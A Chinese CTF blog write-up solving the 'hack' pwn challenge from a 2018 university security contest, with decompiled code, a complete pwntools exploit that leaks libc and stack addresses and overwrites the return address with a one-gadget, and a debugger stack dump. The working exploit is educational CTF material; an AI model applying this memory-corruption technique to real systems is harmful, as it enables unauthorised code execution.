23R3F's Blog

2018高校安全运维赛

字数统计: 1.1k阅读时长: 5 min
2018/11/16 Share

这次比赛一共三道pwn题,嗯,不出意外的一道都没搞出来orz

慢慢复现慢学吧,这解题数可以说是很真实了

1542371695483

而且发现近来的pwn题越来越喜欢跟web结合在一起了

先复现一道比赛结束后就搞出来的题目吧

hack

程序逻辑很简单,是个只开了nx保护的32位程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
v3 = malloc(0x14u);
buf = v3;
v3[read(0, v3, 0xFu) - 1] = 0;
v5 = atoll(buf);
printf("%d, %p\n", v5, *v5);
puts("Second chance: ");
buf[read(0, buf, 0xFu) - 1] = 0;
v6 = atoll(buf);
printf("%d, %p\n", v6, *v6);
v7 = malloc(0x14u);
printf("The address of the node is %p, and you can input the fake node now: ", v7);
read(0, v7, 0x10u);
v8 = v7[3];
v9 = v7[2];
*(v8 + 8) = v9;
*(v9 + 12) = v8;

首先两个任意地址输出,给你泄漏出libc和envc(栈地址)

接着告诉你一个堆的地址v7

然后输入0x16个字节到堆里面

接着进行两个地址写,这个看似是任意地址写,但实际上只能写got表和stack的地址,如果有其中一个地址写出错,程序会直接异常退出,从而无法进行其他操作

任意地址写的逻辑是:

*(v8 + 8) = v9;

*(v9 + 12) = v8;

其中v8和v9分别是堆的第三和第四项的内容

题目的关键点在于通过这个任意地址写,改变程序的执行流程,就是把栈中ret的地址给改成one gadget

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./hack"
context.binary=bin_elf
elf = ELF(bin_elf)
libc = ELF("./libc6-i386_2.23.so")
#libc = elf.libc

if sys.argv[1] == "r":
p = remote("210.32.4.16",13375)
elif sys.argv[1] == "l":
p = process(bin_elf,env = {"LD_PRELOAD": "./libc6-i386_2.23.so"})
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')

def getshell():
p.interactive()
#-------------------------------------
puts_got = elf.got["puts"]
ru("input address: \n")
sl(str(puts_got))
ru(", ")
puts = int(p.recv(10),16)

lib_base = puts - libc.symbols["puts"]
one = lib_base + 0x3a819#0x5f066#0x5f065

print "lib_base--->"+hex(lib_base)
print "one--->"+hex(one),"-->",str(one)

debug()

environ_addr = lib_base + libc.symbols['_environ']
ru("Second chance: \n")
sl(str(environ_addr))
ru(", ")
stack = int(p.recv(10),16)
print "stack--->"+hex(stack)

ru("The address of the node is ")
heap = int(p.recv(9),16)
print "heap addres : "+hex(heap)

ret = stack - 0xb8

v8 = ret - 8
v9 = heap + 4
payload = p32(one) + p32(one) + p32(v9) + p32(v8)

ru("now: ")
pause()
sd(payload)
pause()
getshell()

怎么找这个ret在栈上的偏移呢,首先需要进行调试,一步步执行到read函数完成的地方(也就是此时正在准备进行任意地址写),如图

1542372683661

可以看到,进行任意地址写的时候,不涉及栈的操作,因此此时的栈结构是比较固定的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
0xffa9da40│+0x0000: 0x00000001	 ← $esp
0xffa9da44│+0x0004: 0x00000001
0xffa9da48│+0x0008: 0x0904d008 → "4151586236"
0xffa9da4c│+0x000c: 0x0000000b
0xffa9da50│+0x0010: 0xf7742dbc → 0xffa9db1c → 0xffa9dfd1 → "LD_PRELOAD=./libc6-i386_2.23.so"
0xffa9da54│+0x0014: 0x0904d020 → 0x61616161
0xffa9da58│+0x0018: 0xffa9da5c → 0x0904d024 → 0x61616161
0xffa9da5c│+0x001c: 0x0904d024 → 0x61616161
0xffa9da60│+0x0020: 0xf77413dc → 0xf77421e0 → 0x00000000
0xffa9da64│+0x0024: 0x0904d024 → 0x61616161//测试的时候发现,这里是ret的地址
0xffa9da68│+0x0028: 0x00000000 ← $ebp
0xffa9da6c│+0x002c: 0xf75a9637 → <__libc_start_main+247> add esp, 0x10
0xffa9da70│+0x0030: 0xf7741000 → 0x001afdb0
0xffa9da74│+0x0034: 0xf7741000 → 0x001afdb0
0xffa9da78│+0x0038: 0x00000000
0xffa9da7c│+0x003c: 0xf75a9637 → <__libc_start_main+247> add esp, 0x10
0xffa9da80│+0x0040: 0x00000001
0xffa9da84│+0x0044: 0xffa9db14 → 0xffa9dfca → "./hack"
0xffa9da88│+0x0048: 0xffa9db1c → 0xffa9dfd1 → "LD_PRELOAD=./libc6-i386_2.23.so"
0xffa9da8c│+0x004c: 0x00000000
0xffa9da90│+0x0050: 0x00000000
0xffa9da94│+0x0054: 0x00000000
0xffa9da98│+0x0058: 0xf7741000 → 0x001afdb0
0xffa9da9c│+0x005c: 0xf776dc04 → 0x00000000
0xffa9daa0│+0x0060: 0xf776d000 → 0x00022f3c
0xffa9daa4│+0x0064: 0x00000000
0xffa9daa8│+0x0068: 0xf7741000 → 0x001afdb0
0xffa9daac│+0x006c: 0xf7741000 → 0x001afdb0
0xffa9dab0│+0x0070: 0x00000000
0xffa9dab4│+0x0074: 0x5c2439fb
0xffa9dab8│+0x0078: 0xbabad7ea
0xffa9dabc│+0x007c: 0x00000000
0xffa9dac0│+0x0080: 0x00000000
0xffa9dac4│+0x0084: 0x00000000
0xffa9dac8│+0x0088: 0x00000001
0xffa9dacc│+0x008c: 0x08048450 → <_start+0> xor ebp, ebp
0xffa9dad0│+0x0090: 0x00000000
0xffa9dad4│+0x0094: 0xf775eff0 → pop edx
0xffa9dad8│+0x0098: 0xf7759880 → push ebp
0xffa9dadc│+0x009c: 0xf776d000 → 0x00022f3c
0xffa9dae0│+0x00a0: 0x00000001
0xffa9dae4│+0x00a4: 0x08048450 → <_start+0> xor ebp, ebp
0xffa9dae8│+0x00a8: 0x00000000
0xffa9daec│+0x00ac: 0x08048471 → <_start+33> hlt
0xffa9daf0│+0x00b0: 0x0804857c → <main+0> lea ecx, [esp+0x4]
0xffa9daf4│+0x00b4: 0x00000001
0xffa9daf8│+0x00b8: 0xffa9db14 → 0xffa9dfca → "./hack"
0xffa9dafc│+0x00bc: 0x08048710 → <__libc_csu_init+0> push ebp
0xffa9db00│+0x00c0: 0x08048770 → <__libc_csu_fini+0> repz ret
0xffa9db04│+0x00c4: 0xf7759880 → push ebp
0xffa9db08│+0x00c8: 0xffa9db0c → 0xf776d918 → 0x00000000
0xffa9db0c│+0x00cc: 0xf776d918 → 0x00000000
0xffa9db10│+0x00d0: 0x00000001
0xffa9db14│+0x00d4: 0xffa9dfca → "./hack"
0xffa9db18│+0x00d8: 0x00000000
0xffa9db1c│+0x00dc: 0xffa9dfd1 → "LD_PRELOAD=./libc6-i386_2.23.so"//泄漏的栈地址
0xffa9db20│+0x00e0: 0x00000000
0xffa9db24│+0x00e4: 0x00000020
0xffa9db28│+0x00e8: 0xf7748c80 → <__kernel_vsyscall+0> push ecx
0xffa9db2c│+0x00ec: 0x00000021 ("!"?)
0xffa9db30│+0x00f0: 0xf7748000 → 0x464c457f
0xffa9db34│+0x00f4: 0x00000010
0xffa9db38│+0x00f8: 0x1f8bfbff
0xffa9db3c│+0x00fc: 0x00000006
0xffa9db40│+0x0100: 0x00001000
0xffa9db44│+0x0104: 0x00000011
0xffa9db48│+0x0108: 0x00000064 ("d"?)
0xffa9db4c│+0x010c: 0x00000003
0xffa9db50│+0x0110: 0x08048034 → push es
0xffa9db54│+0x0114: 0x00000004
0xffa9db58│+0x0118: 0x00000020
0xffa9db5c│+0x011c: 0x00000005
0xffa9db60│+0x0120: 0x00000009
0xffa9db64│+0x0124: 0x00000007
0xffa9db68│+0x0128: 0xf774a000 → 0x464c457f
0xffa9db6c│+0x012c: 0x00000008
0xffa9db70│+0x0130: 0x00000000
0xffa9db74│+0x0134: 0x00000009
0xffa9db78│+0x0138: 0x08048450 → <_start+0> xor ebp, ebp
0xffa9db7c│+0x013c: 0x0000000b
0xffa9db80│+0x0140: 0x000003e8
0xffa9db84│+0x0144: 0x0000000c
0xffa9db88│+0x0148: 0x000003e8
0xffa9db8c│+0x014c: 0x0000000d
0xffa9db90│+0x0150: 0x000003e8
0xffa9db94│+0x0154: 0x0000000e
0xffa9db98│+0x0158: 0x000003e8
0xffa9db9c│+0x015c: 0x00000017
0xffa9dba0│+0x0160: 0x00000000
0xffa9dba4│+0x0164: 0x00000019
0xffa9dba8│+0x0168: 0xffa9dbcb → 0x35c82286
0xffa9dbac│+0x016c: 0x0000001f
0xffa9dbb0│+0x0170: 0xffa9dff1 → "./hack"
0xffa9dbb4│+0x0174: 0x0000000f
0xffa9dbb8│+0x0178: 0xffa9dbdb → "i686"
0xffa9dbbc│+0x017c: 0x00000000
0xffa9dbc0│+0x0180: 0x00000000
0xffa9dbc4│+0x0184: 0x00000000
0xffa9dbc8│+0x0188: 0x86000000
0xffa9dbcc│+0x018c: 0x9c35c822

。。。。。。。。。。。。。。。。。。

1542374037665

测试的时候可以看到,在执行完任意地址写后,main函数开始返回退出的时候,ret的地址实际上是ebp-4

测试的时候可以根据eip的值和栈的布局变化慢慢看出来

CATALOG
  1. 1. hack